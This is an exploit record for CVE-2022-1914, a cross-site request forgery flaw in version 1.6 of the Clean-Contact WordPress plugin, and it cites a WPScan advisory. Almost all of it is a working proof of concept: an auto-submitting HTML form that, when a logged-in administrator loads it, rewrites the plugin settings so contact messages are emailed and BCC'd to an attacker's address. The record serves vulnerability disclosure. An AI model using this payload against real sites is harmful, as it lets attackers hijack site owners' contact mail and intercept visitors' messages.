CVE: CVE-2022-1914

Name: Clean-Contact (clean-contact)

Version: 1.6

Date: 2022-04-24 16:09:30

Advisory: https://wpscan.com/vulnerability/8c8dad47-8591-47dc-b84f-8c5cb18b2d78

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/plugins.php?page=clean_contact" method="POST">
    <input type="text" name="clean_contact_settings" value="1">
    <input type="text" name="clean_contact_email" value="hacked@example.com">
    <input type="text" name="clean_contact_cc" value="">
    <input type="text" name="clean_contact_bcc" value="hacked@example.com">
    <input type="text" name="clean_contact_prefix" value="clean-contact">
    <input type="text" name="clean_contact_thanks" value="Thank you.  Message sent!">
    <input type="text" name="clean_contact_thanks_url" value="https://example.com">
    <input type="text" name="clean_contact_from_email" value="">
    <input type="text" name="Submit" value="Save Settings">
</form>
<script>
    document.forms[0].submit();
</script>